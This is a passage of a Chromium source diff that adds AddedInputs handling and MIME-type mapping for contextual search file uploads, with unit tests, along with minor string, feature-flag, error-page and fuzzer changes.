+  // Pro model only allows image input.
+  auto* model_pro_rule = rule_set->add_model_rules();
+  model_pro_rule->set_model(omnibox::ModelMode::MODEL_MODE_GEMINI_PRO);
+  model_pro_rule->add_allowed_input_types(
+      omnibox::InputType::INPUT_TYPE_LENS_IMAGE);
+
+  // Globally allowed models and inputs.
+  rule_set->add_allowed_models(omnibox::ModelMode::MODEL_MODE_GEMINI_REGULAR);
+  rule_set->add_allowed_models(omnibox::ModelMode::MODEL_MODE_GEMINI_PRO);
+  rule_set->add_allowed_input_types(omnibox::InputType::INPUT_TYPE_LENS_IMAGE);
+  rule_set->add_allowed_input_types(omnibox::InputType::INPUT_TYPE_LENS_FILE);
+
+  input_state_model_ =
+      std::make_unique<InputStateModel>(session_handle_, config);
+  input_state_model_->SetPrefService(&pref_service_);
+
+  // Simulate adding a file.
+  std::vector<FileInfo> file_infos;
+  file_infos.emplace_back();
+  file_infos.back().mime_type = lens::MimeType::kPdf;
+  ON_CALL(session_handle_, GetUploadedContextFileInfos())
+      .WillByDefault(testing::Return(file_infos));
+
+  // Trigger an update.
+  input_state_model_->OnContextChanged();
+  const auto& state = input_state_model_->get_state_for_testing();
+
+  // Pro model should be disabled as it doesn't support file input.
+  // Regular model should not be disabled as it allows all input types.
+  EXPECT_THAT(state.disabled_models,
+              UnorderedElementsAre(omnibox::ModelMode::MODEL_MODE_GEMINI_PRO));
+}
+
 class InputStateModelCompatibilityTest : public InputStateModelTest {
  public:
   void SetUp() override {
@@ -456,4 +534,26 @@
   EXPECT_TRUE(final_state.disabled_input_types.empty());
 }
 
+TEST_F(InputStateModelCompatibilityTest, CanvasToolAllowsAllInputs) {
+  // Set deep search rule `allow_all_input_types` to true.
+  for (auto& rule : *config_.mutable_rule_set()->mutable_tool_rules()) {
+    if (rule.tool() == omnibox::ToolMode::TOOL_MODE_CANVAS) {
+      rule.set_allow_all_input_types(true);
+    }
+  }
+
+  // Re-create the model with the modified config.
+  input_state_model_ =
+      std::make_unique<InputStateModel>(session_handle_, config_);
+  input_state_model_->SetPrefService(&pref_service_);
+  input_state_model_->set_state_for_testing(state_);
+
+  // Select Canvas.
+  input_state_model_->setActiveTool(omnibox::ToolMode::TOOL_MODE_CANVAS);
+  const auto& new_state = input_state_model_->get_state_for_testing();
+
+  // With allow_all_input_types, no inputs should be disabled.
+  EXPECT_TRUE(new_state.disabled_input_types.empty());
+}
+
 }  // namespace contextual_search
diff --git a/components/contextual_search/internal/composebox_query_controller.cc b/components/contextual_search/internal/composebox_query_controller.cc
index ee36b4c2..632c947 100644
--- a/components/contextual_search/internal/composebox_query_controller.cc
+++ b/components/contextual_search/internal/composebox_query_controller.cc
@@ -45,6 +45,7 @@
 #include "third_party/icu/source/i18n/unicode/timezone.h"
 #include "third_party/lens_server_proto/lens_overlay_contextual_inputs.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_interaction_request_metadata.pb.h"
+#include "third_party/lens_server_proto/lens_overlay_lens_file.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_payload.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_platform.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_request_id.pb.h"
@@ -69,9 +70,9 @@
 constexpr char kContentType[] = "application/x-protobuf";
 constexpr char kSessionIdQueryParameterKey[] = "gsessionid";
 constexpr char kVisualSearchInteractionQueryParameterKey[] = "vsint";
+constexpr char kAddedInputsQueryParameterKey[] = "aai";
 constexpr char kVisualInputTypeQueryParameter[] = "vit";
 constexpr char kVisualInputTypeQueryParameterPdfValue[] = "pdf";
-constexpr char kVisualInputTypeQueryParameterImageValue[] = "img";
 constexpr char kVisualInputTypeQueryParameterWebpageValue[] = "wp";
 
 // TODO(crbug.com/432348301): Move away from hardcoded entrypoint and lns
@@ -256,18 +257,20 @@
   return number;
 }
 
-std::string GetMimeTypeParamValue(lens::MimeType mime_type) {
+std::optional<std::string> GetMimeTypeParamValueForSearchUrl(
+    lens::MimeType mime_type) {
   switch (mime_type) {
     case lens::MimeType::kPdf:
       return kVisualInputTypeQueryParameterPdfValue;
-    case lens::MimeType::kImage:
-      return kVisualInputTypeQueryParameterImageValue;
     case lens::MimeType::kAnnotatedPageContent:
       return kVisualInputTypeQueryParameterWebpageValue;
+    case lens::MimeType::kImage:
+      // Image-only queries should not send a vit parameter in the search URL.
+      [[fallthrough]];
     case lens::MimeType::kUnknown:
-      return kVisualInputTypeQueryParameterImageValue;
+      [[fallthrough]];
     default:
-      NOTREACHED() << "File type not supported.";
+      return std::nullopt;
   }
 }
 
@@ -308,6 +311,36 @@
 
 ComposeboxQueryController::~ComposeboxQueryController() = default;
 
+// static
+std::optional<std::string> ComposeboxQueryController::MimeTypeToString(
+    lens::MimeType mime_type) {
+  switch (mime_type) {
+    case lens::MimeType::kPdf:
+      return "application/pdf";
+    case lens::MimeType::kHtml:
+      return "text/html";
+    case lens::MimeType::kPlainText:
+      return "text/plain";
+    case lens::MimeType::kImage:
+      // Images always use jpeg encoding.
+      // TODO(crbug.com/481835802): Update this logic if webp encoding is
+      // turned on.
+      return "image/jpeg";
+    case lens::MimeType::kAnnotatedPageContent:
+      return "application/x-protobuf";
+    case lens::MimeType::kUnknown:
+      // The mime type may be unknown for image-only LensOverlay flows, as the
+      // LensOverlay does not set the primary content type unless it is a pdf or
+      // webpage contextual query. In this case, return the mime type for an
+      // image.
+      return "image/jpeg";
+    default:
+      // Fail gracefully, as the mime type value is optional to set in the
+      // proto.
+      return std::nullopt;
+  }
+}
+
 void ComposeboxQueryController::InitializeIfNeeded() {
   if (query_controller_state_ == QueryControllerState::kOff) {
     // The query controller state starts at kOff. If it is set to any other
@@ -334,6 +367,38 @@
   return file_info->request_id;
 }
 
+lens::AddedInputs ComposeboxQueryController::CreateAddedInputs(
+    const std::vector<base::UnguessableToken>& file_tokens) {
+  lens::AddedInputs added_inputs;
+  if (!cluster_info_.has_value()) {
+    return added_inputs;
+  }
+  for (const auto& file_token : file_tokens) {
+    auto* file_info = GetFileInfo(file_token);
+    if (!file_info || !IsValidFileUploadStatusForMultimodalRequest(
+                          file_info->upload_status)) {
+      continue;
+    }
+
+    lens::LensOverlayLensFile* lens_file =
+        added_inputs.add_added_inputs()->mutable_lens_file();
+    lens_file->set_vsrid(lens::Base64EncodeRequestId(file_info->request_id));
+    lens_file->set_sticky_cluster_token(cluster_info_->search_session_id());
+    auto mime_type = MimeTypeToString(file_info->mime_type);
+    if (mime_type.has_value()) {
+      lens_file->set_mime_type(mime_type.value());
+    }
+    lens_file->set_file_name(file_info->file_name);
+    if (file_info->tab_title.has_value()) {
+      lens_file->set_page_title(file_info->tab_title.value());
+    }
+    if (file_info->tab_url.has_value()) {
+      lens_file->set_page_url(file_info->tab_url.value().spec());
+    }
+  }
+  return added_inputs;
+}
+
 void ComposeboxQueryController::CreateSearchUrl(
     std::unique_ptr<CreateSearchUrlRequestInfo> search_url_request_info,
     base::OnceCallback<void(GURL)> callback) {
@@ -409,6 +474,20 @@
           search_url_request_info->lens_overlay_selection_type,
           search_url_request_info->additional_params);
 
+      // Add the added inputs param.
+      lens::AddedInputs added_inputs =
+          CreateAddedInputs(search_url_request_info->file_tokens);
+      if (added_inputs.added_inputs_size() > 0) {
+        std::string serialized_proto;
+        CHECK(added_inputs.SerializeToString(&serialized_proto));
+        std::string encoded_proto;
+        base::Base64UrlEncode(serialized_proto,
+                              base::Base64UrlEncodePolicy::OMIT_PADDING,
+                              &encoded_proto);
+        search_url_request_info->additional_params.insert(
+            {kAddedInputsQueryParameterKey, encoded_proto});
+      }
+
       // Get the encoded visual search interaction log data.
       bool should_send_lns_surface =
           send_lns_surface_ &&
@@ -427,9 +506,12 @@
           // Single-context queries should send the vit parameter if it is a
           // standard (non-AIM) query, or if the flag to send the vit parameter
           // for single context next queries is enabled.
-          search_url_request_info->additional_params.insert(
-              {kVisualInputTypeQueryParameter,
-               GetMimeTypeParamValue(last_active_file->mime_type)});
+          auto vit_param =
+              GetMimeTypeParamValueForSearchUrl(last_active_file->mime_type);
+          if (vit_param.has_value()) {
+            search_url_request_info->additional_params.insert(
+                {kVisualInputTypeQueryParameter, vit_param.value()});
+          }
         }
         std::move(callback).Run(GetUrlForMultimodalSearch(
             template_url_service_, is_aim_search,
@@ -527,6 +609,14 @@
       lens_image_query_data->set_visual_input_type(
           MediaTypeToVisualInputType(media_type));
     }
+
+    // Add added inputs.
+    lens::AddedInputs added_inputs =
+        CreateAddedInputs(create_client_to_aim_request_info->file_tokens);
+    if (added_inputs.added_inputs_size() > 0) {
+      submit_query->mutable_payload()->mutable_added_inputs()->CopyFrom(
+          added_inputs);
+    }
   }
 
   // Add the latest visual search interaction data to the query if it exists.
diff --git a/components/contextual_search/internal/composebox_query_controller.h b/components/contextual_search/internal/composebox_query_controller.h
index 4702f6f..4d23e8f8 100644
--- a/components/contextual_search/internal/composebox_query_controller.h
+++ b/components/contextual_search/internal/composebox_query_controller.h
@@ -20,6 +20,7 @@
 #include "components/lens/lens_overlay_request_id_generator.h"
 #include "components/lens/proto/server/lens_overlay_response.pb.h"
 #include "services/network/public/cpp/shared_url_loader_factory.h"
+#include "third_party/lens_server_proto/added_inputs.pb.h"
 #include "third_party/lens_server_proto/aim_communication.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_cluster_info.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_request_id.pb.h"
@@ -107,6 +108,14 @@
   virtual lens::LensOverlayRequestId GetRequestIdForViewportImage(
       const base::UnguessableToken& file_token);
 
+  // Creates the AddedInputs proto for the given file tokens.
+  lens::AddedInputs CreateAddedInputs(
+      const std::vector<base::UnguessableToken>& file_tokens);
+
+  // Returns the string representation of the mime type, for use in calculating
+  // the AddedInputs proto.
+  static std::optional<std::string> MimeTypeToString(lens::MimeType mime_type);
+
   // Enum for testing to track the state of the query controller.
   enum class QueryControllerState {
     // The initial state, before InitializeIfNeeded() is called.
diff --git a/components/contextual_search/internal/composebox_query_controller_unittest.cc b/components/contextual_search/internal/composebox_query_controller_unittest.cc
index 59bc7de..10d6e8a 100644
--- a/components/contextual_search/internal/composebox_query_controller_unittest.cc
+++ b/components/contextual_search/internal/composebox_query_controller_unittest.cc
@@ -41,8 +41,10 @@
 #include "third_party/icu/source/common/unicode/locid.h"
 #include "third_party/icu/source/common/unicode/unistr.h"
 #include "third_party/icu/source/i18n/unicode/timezone.h"
+#include "third_party/lens_server_proto/added_inputs.pb.h"
 #include "third_party/lens_server_proto/aim_communication.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_contextual_inputs.pb.h"
+#include "third_party/lens_server_proto/lens_overlay_lens_file.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_platform.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_server.pb.h"
 #include "third_party/lens_server_proto/lens_overlay_service_deps.pb.h"
@@ -69,6 +71,7 @@
 constexpr char kTimeZone[] = "America/Los_Angeles";
 constexpr char kRequestIdParameterKey[] = "vsrid";
 constexpr char kVisualSearchInteractionDataParameterKey[] = "vsint";
+constexpr char kAddedInputsParameterKey[] = "aai";
 constexpr char kLnsSurfaceParameterKey[] = "lns_surface";
 constexpr char kVisualInputTypeQueryParameter[] = "vit";
 constexpr char kTestCellAddress[] = "test_cell_address";
@@ -463,6 +466,19 @@
     return proto;
   }
 
+  lens::AddedInputs GetAddedInputsFromUrl(const GURL& url) {
+    std::string added_inputs_param;
+    EXPECT_TRUE(net::GetValueForKeyInQuery(url, kAddedInputsParameterKey,
+                                           &added_inputs_param));
+    std::string serialized_proto;
+    EXPECT_TRUE(base::Base64UrlDecode(
+        added_inputs_param, base::Base64UrlDecodePolicy::DISALLOW_PADDING,
+        &serialized_proto));
+    lens::AddedInputs proto;
+    EXPECT_TRUE(proto.ParseFromString(serialized_proto));
+    return proto;
+  }
+
  protected:
   signin::IdentityTestEnvironment* identity_test_env() {
     return &identity_test_env_;
@@ -3617,6 +3633,71 @@
   EXPECT_FALSE(interaction_data.has_zoomed_crop());
 }
 
+TEST_F(ComposeboxQueryControllerTest, CreateSearchUrl_IncludesAddedInputs) {
+  // Act: Start the session.
+  controller().InitializeIfNeeded();
+  WaitForClusterInfo();
+
+  // Act: Start the file upload flow (PDF).
+  const base::UnguessableToken file_token = base::UnguessableToken::Create();
+  StartPdfFileUploadFlow(file_token,
+                         /*file_data=*/std::vector<uint8_t>());
+  WaitForFileUpload(file_token, lens::MimeType::kPdf);
+
+  // Act: Create search URL.
+  std::unique_ptr<CreateSearchUrlRequestInfo> search_url_request_info =
+      std::make_unique<CreateSearchUrlRequestInfo>();
+  search_url_request_info->query_text = "hello";
+  search_url_request_info->file_tokens.push_back(file_token);
+  search_url_request_info->query_start_time = kTestQueryStartTime;
+
+  base::test::TestFuture<GURL> url_future;
+  controller().CreateSearchUrl(std::move(search_url_request_info),
+                               url_future.GetCallback());
+  GURL search_url = url_future.Take();
+
+  // Verify AddedInputs param.
+  lens::AddedInputs added_inputs = GetAddedInputsFromUrl(search_url);
+  EXPECT_EQ(added_inputs.added_inputs_size(), 1);
+  EXPECT_TRUE(added_inputs.added_inputs(0).has_lens_file());
+  const auto& lens_file = added_inputs.added_inputs(0).lens_file();
+  EXPECT_EQ(lens_file.sticky_cluster_token(), kTestSearchSessionId);
+  EXPECT_EQ(lens_file.mime_type(), "application/pdf");
+  EXPECT_EQ(lens_file.vsrid(), GetEncodedRequestInfoForToken(file_token));
+}
+
+TEST_F(ComposeboxQueryControllerTest,
+       CreateClientToAimRequest_IncludesAddedInputs) {
+  // Act: Start the session.
+  controller().InitializeIfNeeded();
+  WaitForClusterInfo();
+
+  // Act: Start the file upload flow (PDF).
+  const base::UnguessableToken file_token = base::UnguessableToken::Create();
+  StartPdfFileUploadFlow(file_token,
+                         /*file_data=*/std::vector<uint8_t>());
+  WaitForFileUpload(file_token, lens::MimeType::kPdf);
+
+  // Create ClientToAimRequest.
+  auto create_client_to_aim_request_info =
+      std::make_unique<CreateClientToAimRequestInfo>();
+  create_client_to_aim_request_info->query_text = "test query";
+  create_client_to_aim_request_info->file_tokens = {file_token};
+
+  auto client_to_aim_message = controller().CreateClientToAimRequest(
+      std::move(create_client_to_aim_request_info));
+
+  // Verify AddedInputs field.
+  const auto& payload = client_to_aim_message.submit_query().payload();
+  EXPECT_TRUE(payload.has_added_inputs());
+  EXPECT_EQ(payload.added_inputs().added_inputs_size(), 1);
+  EXPECT_TRUE(payload.added_inputs().added_inputs(0).has_lens_file());
+  const auto& lens_file = payload.added_inputs().added_inputs(0).lens_file();
+  EXPECT_EQ(lens_file.sticky_cluster_token(), kTestSearchSessionId);
+  EXPECT_EQ(lens_file.mime_type(), "application/pdf");
+  EXPECT_EQ(lens_file.vsrid(), GetEncodedRequestInfoForToken(file_token));
+}
+
 TEST_F(ComposeboxQueryControllerTest, StandardSearch_SendsVitParam) {
   // Act: Start the session.
   controller().InitializeIfNeeded();
@@ -3744,4 +3825,25 @@
       aim_url, kVisualInputTypeQueryParameter, &vit_value));
 }
 
+TEST_F(ComposeboxQueryControllerTest, MimeTypeToString) {
+  EXPECT_EQ(ComposeboxQueryController::MimeTypeToString(lens::MimeType::kPdf),
+            "application/pdf");
+  EXPECT_EQ(ComposeboxQueryController::MimeTypeToString(lens::MimeType::kHtml),
+            "text/html");
+  EXPECT_EQ(
+      ComposeboxQueryController::MimeTypeToString(lens::MimeType::kPlainText),
+      "text/plain");
+  EXPECT_EQ(ComposeboxQueryController::MimeTypeToString(lens::MimeType::kImage),
+            "image/jpeg");
+  EXPECT_EQ(ComposeboxQueryController::MimeTypeToString(
+                lens::MimeType::kAnnotatedPageContent),
+            "application/x-protobuf");
+  EXPECT_EQ(
+      ComposeboxQueryController::MimeTypeToString(lens::MimeType::kUnknown),
+      "image/jpeg");
+  EXPECT_EQ(ComposeboxQueryController::MimeTypeToString(
+                static_cast<lens::MimeType>(100)),
+            std::nullopt);
+}
+
 }  // namespace contextual_search
diff --git a/components/contextual_tasks/public/features.cc b/components/contextual_tasks/public/features.cc
index 717ef825..39424bee 100644
--- a/components/contextual_tasks/public/features.cc
+++ b/components/contextual_tasks/public/features.cc
@@ -88,7 +88,7 @@
 // The base URL for the AI page.
 const base::FeatureParam<std::string> kContextualTasksAiPageUrl{
     &kContextualTasks, "contextual-tasks-ai-page-url",
-    "https://www.google.com/search?udm=50"};
+    "https://www.google.com/search?udm=50&sourceid=chrome"};
 
 // The host that any URL loaded in the embedded WebUi page will be routed to.
 const base::FeatureParam<std::string> kContextualTasksForcedEmbeddedPageHost{
diff --git a/components/contextual_tasks_strings.grdp b/components/contextual_tasks_strings.grdp
index d2b03a7..9effe980 100644
--- a/components/contextual_tasks_strings.grdp
+++ b/components/contextual_tasks_strings.grdp
@@ -80,7 +80,7 @@
     More options
   </message>
   <message name="IDS_CONTEXTUAL_TASKS_SIDE_PANEL_CLOSE_TOOL_TIP" desc="Tool tip text displayed on the close button on the side panel to allow user to close the side panel.">
-    Close
+    Close side panel
   </message>
   <message name="IDS_CONTEXTUAL_TASKS_ADD_TAB_CONTEXT_ERROR_TOAST" desc="An error toast shown on the compose box on the contextual task page when user try to add a tab context to the current thread.">
     Add up to 10 tabs
@@ -97,4 +97,15 @@
   <message name="IDS_CONTEXTUAL_TASKS_OAUTH_ERROR_DIALOG_RELOAD_BUTTON" desc="Reload button shown on the oAuth error dialog.">
     Reload
   </message>
+
+  <!-- AI Mode Strings -->
+  <message name="IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE"
+    desc="Title for the AI Mode zero state welcome message in the Lens tab. The first placeholder is the user's given name.">
+    Hi <ph name="USER_NAME">$1<ex>Josh</ex></ph>, what's on your mind?
+  </message>
+
+  <message name="IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME"
+    desc="Title for the AI Mode zero state welcome message in the Lens tab.">
+    What's on your mind?
+  </message>
 </grit-part>
diff --git a/chrome/app/chromium_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1 b/components/contextual_tasks_strings_grdp/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1
similarity index 100%
rename from chrome/app/chromium_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1
rename to components/contextual_tasks_strings_grdp/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1
diff --git a/chrome/app/chromium_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1 b/components/contextual_tasks_strings_grdp/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1
similarity index 100%
rename from chrome/app/chromium_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1
rename to components/contextual_tasks_strings_grdp/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME.png.sha1
diff --git a/components/contextual_tasks_strings_grdp/IDS_CONTEXTUAL_TASKS_SIDE_PANEL_CLOSE_TOOL_TIP.png.sha1 b/components/contextual_tasks_strings_grdp/IDS_CONTEXTUAL_TASKS_SIDE_PANEL_CLOSE_TOOL_TIP.png.sha1
index 3687be6b..857060ae 100644
--- a/components/contextual_tasks_strings_grdp/IDS_CONTEXTUAL_TASKS_SIDE_PANEL_CLOSE_TOOL_TIP.png.sha1
+++ b/components/contextual_tasks_strings_grdp/IDS_CONTEXTUAL_TASKS_SIDE_PANEL_CLOSE_TOOL_TIP.png.sha1
@@ -1 +1 @@
-9f15869260f444d05e6533f038fa69debb754e8b
\ No newline at end of file
+107cdc3f343a0ddb7905a34a8244795fb506229f
\ No newline at end of file
diff --git a/components/dom_distiller/core/distilled_content_store.h b/components/dom_distiller/core/distilled_content_store.h
index 8bc8495..997a8359 100644
--- a/components/dom_distiller/core/distilled_content_store.h
+++ b/components/dom_distiller/core/distilled_content_store.h
@@ -7,13 +7,13 @@
 
 #include <memory>
 #include <string>
-#include <unordered_map>
 
 #include "base/containers/lru_cache.h"
 #include "base/functional/bind.h"
 #include "base/memory/raw_ptr.h"
 #include "components/dom_distiller/core/article_entry.h"
 #include "components/dom_distiller/core/proto/distilled_article.pb.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 
 namespace dom_distiller {
 
@@ -80,7 +80,7 @@
   typedef base::LRUCache<std::string,
                          std::unique_ptr<DistilledArticleProto, CacheDeletor>>
       ContentMap;
-  typedef std::unordered_map<std::string, std::string> UrlMap;
+  typedef absl::flat_hash_map<std::string, std::string> UrlMap;
 
   ContentMap cache_;
   UrlMap url_to_id_;
diff --git a/components/dom_distiller/core/dom_distiller_features.cc b/components/dom_distiller/core/dom_distiller_features.cc
index 70755b4..0c48a73 100644
--- a/components/dom_distiller/core/dom_distiller_features.cc
+++ b/components/dom_distiller/core/dom_distiller_features.cc
@@ -92,6 +92,9 @@
 
 #if BUILDFLAG(IS_ANDROID)
 // Feature declarations below -- alphabetical order.
+BASE_FEATURE(kReaderModeBlurTransitionAnimation,
+             base::FEATURE_DISABLED_BY_DEFAULT);
+
 BASE_FEATURE(kReaderModeDistillInApp, base::FEATURE_DISABLED_BY_DEFAULT);
 
 BASE_FEATURE(kReaderModeImprovements, base::FEATURE_DISABLED_BY_DEFAULT);
diff --git a/components/dom_distiller/core/dom_distiller_features.h b/components/dom_distiller/core/dom_distiller_features.h
index be43485c..c912db9 100644
--- a/components/dom_distiller/core/dom_distiller_features.h
+++ b/components/dom_distiller/core/dom_distiller_features.h
@@ -35,6 +35,8 @@
 #if BUILDFLAG(IS_ANDROID)
 // Feature declarations below -- alphabetical order.
 COMPONENT_EXPORT(DOM_DISTILLER_FEATURES)
+BASE_DECLARE_FEATURE(kReaderModeBlurTransitionAnimation);
+COMPONENT_EXPORT(DOM_DISTILLER_FEATURES)
 BASE_DECLARE_FEATURE(kReaderModeDistillInApp);
 COMPONENT_EXPORT(DOM_DISTILLER_FEATURES)
 BASE_DECLARE_FEATURE(kReaderModeDistillInAppFastFollows);
diff --git a/components/download/internal/background_service/ios/background_download_task_helper.mm b/components/download/internal/background_service/ios/background_download_task_helper.mm
index b4aa7ae..e535e97 100644
--- a/components/download/internal/background_service/ios/background_download_task_helper.mm
+++ b/components/download/internal/background_service/ios/background_download_task_helper.mm
@@ -271,7 +271,7 @@
   const int kIdentifierSuffix = 1000000;
   std::string identifier =
       base::StringPrintf("%s-%d", download::kBackgroundDownloadIdentifierPrefix,
-                         base::RandInt(0, kIdentifierSuffix));
+                         base::RandIntInclusive(0, kIdentifierSuffix));
   // TODO(crbug.com/40190949): Using a foreground rather than background session
   // is a temporary fix to circumvent issues with background downloads reported
   // as crashes.
diff --git a/components/error_page/common/localized_error.cc b/components/error_page/common/localized_error.cc
index 50cea01..867c3aa 100644
--- a/components/error_page/common/localized_error.cc
+++ b/components/error_page/common/localized_error.cc
@@ -522,8 +522,6 @@
     case IDS_ERRORPAGES_HEADING_BLOCKED_SCHEME:
     case IDS_ERRORPAGES_HEADING_NOT_FOUND:
     case IDS_ERRORPAGES_SUMMARY_BAD_SSL_CLIENT_AUTH_CERT:
-    case IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR:
-    case IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR_SCHEME:
     case IDS_ERRORPAGES_SUMMARY_CONNECTION_CLOSED:
     case IDS_ERRORPAGES_SUMMARY_CONNECTION_FAILED:
     case IDS_ERRORPAGES_SUMMARY_CONNECTION_REFUSED:
@@ -1084,12 +1082,6 @@
       options.heading_resource_id = IDS_ERRORPAGES_HEADING_BLOCKED_SCHEME;
       host_name = base::UTF8ToUTF16(failed_url.GetScheme());
     }
-    if (error_code == net::ERR_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR &&
-        host_name.empty()) {
-      options.summary_resource_id =
-          IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR_SCHEME;
-      host_name = base::UTF8ToUTF16(failed_url.GetScheme());
-    }
   }
 
   result.strings.Set("iconClass",
diff --git a/components/error_page_strings.grdp b/components/error_page_strings.grdp
index 9b685b8..9037f6ee 100644
--- a/components/error_page_strings.grdp
+++ b/components/error_page_strings.grdp
@@ -443,9 +443,6 @@
     You can’t visit this page in Incognito mode
   </message>
   <message name="IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR" desc="Summary in the error page when an administrator policy blocks a URL in Incognito mode.">
-    Your organization has blocked <ph name="HOST_NAME">&lt;span&gt;$1&lt;/span&gt;<ex>www.example.com</ex></ph> in Incognito mode.
-  </message>
-  <message name="IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR_SCHEME" desc="Summary in the error page when an administrator policy blocks a URL scheme in Incognito mode.">
-    Your organization has blocked “<ph name="HOST_NAME">&lt;span&gt;$1&lt;/span&gt;<ex>mailto</ex></ph>” links in Incognito mode.
+    Your organization has blocked this page in Incognito mode.
   </message>
 </grit-part>
diff --git a/components/error_page_strings_grdp/IDS_ERRORPAGES_HEADING_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1 b/components/error_page_strings_grdp/IDS_ERRORPAGES_HEADING_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1
index 688c7f2d..e8b31fc 100644
--- a/components/error_page_strings_grdp/IDS_ERRORPAGES_HEADING_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1
+++ b/components/error_page_strings_grdp/IDS_ERRORPAGES_HEADING_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1
@@ -1 +1 @@
-9176d0cb530b9429425e1bd06d459fd3d6b772d7
\ No newline at end of file
+1137ac1d3b17b30f2e19b98b7d5fe3bd893e186b
\ No newline at end of file
diff --git a/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1 b/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1
index 688c7f2d..e8b31fc 100644
--- a/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1
+++ b/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR.png.sha1
@@ -1 +1 @@
-9176d0cb530b9429425e1bd06d459fd3d6b772d7
\ No newline at end of file
+1137ac1d3b17b30f2e19b98b7d5fe3bd893e186b
\ No newline at end of file
diff --git a/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR_SCHEME.png.sha1 b/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR_SCHEME.png.sha1
deleted file mode 100644
index 2577949e..0000000
--- a/components/error_page_strings_grdp/IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR_SCHEME.png.sha1
+++ /dev/null
@@ -1 +0,0 @@
-c3c4e220fffdeece81e93a0747ecf11699643f47
\ No newline at end of file
diff --git a/components/feature_engagement/public/feature_list.h b/components/feature_engagement/public/feature_list.h
index aebf9e2..d1b848c 100644
--- a/components/feature_engagement/public/feature_list.h
+++ b/components/feature_engagement/public/feature_list.h
@@ -38,9 +38,8 @@
 // Defines a single flags_ui::FeatureEntry::FeatureVariation entry, fully
 // enclosed. This is intended to be used with the declaration of
 // |kIPHDemoModeChoiceVariations| below.
-#define VARIATION_ENTRY(base_feature)                               \
-  {base_feature##Variation[0].param_value, base_feature##Variation, \
-   std::size(base_feature##Variation), nullptr}
+#define VARIATION_ENTRY(base_feature) \
+  {base_feature##Variation[0].param_value, base_feature##Variation, nullptr}
 
 // Defines a flags_ui::FeatureEntry::FeatureParam for each feature.
 DEFINE_VARIATION_PARAM(kIPHDummyFeature, "IPH_Dummy");
diff --git a/components/feedback/redaction_tool_fuzzer.cc b/components/feedback/redaction_tool_fuzzer.cc
index 51cf9f7..4950167d 100644
--- a/components/feedback/redaction_tool_fuzzer.cc
+++ b/components/feedback/redaction_tool_fuzzer.cc
@@ -8,42 +8,50 @@
 #include <stddef.h>
 #include <stdint.h>
 
-#include <memory>
 #include <string>
 #include <vector>
 
 #include "base/compiler_specific.h"
+#include "base/containers/heap_array.h"
+
+namespace {
+
+constexpr int kArbitraryMaxNameLength = 4096;
+
+}  // namespace
 
 extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
   FuzzedDataProvider provider(data, size);
 
   int first_party_extension_id_count = provider.ConsumeIntegralInRange(-1, 50);
-  // This is the storage for the strings inside first_party_extension_ids. This
-  // is to make sure the char *'s we pass to the RedactionTool constructor are
-  // deleted correctly -- they must be deleted after redactor is destructed, but
+  // This is the storage for the strings inside
+  // `unowned_first_party_extension_ids`. This is to make sure the
+  // char *'s we pass to the RedactionTool constructor are deleted
+  // correctly -- they must be deleted after redactor is destructed, but
   // not leaked.
   std::vector<std::string> first_party_extension_id_store;
+
   // The first_party_extension_ids we pass to the RedactionTool constructor.
   // This owns the array but not the pointed-to strings. Note that if
   // first_party_extension_id_count is -1, this is not set so we pass nullptr to
   // the constructor; that's deliberate.
-  std::unique_ptr<const char*[]> first_party_extension_ids;
+  base::HeapArray<const char*> unowned_first_party_extension_ids;
+
   if (first_party_extension_id_count >= 0) {
     first_party_extension_id_store.reserve(first_party_extension_id_count);
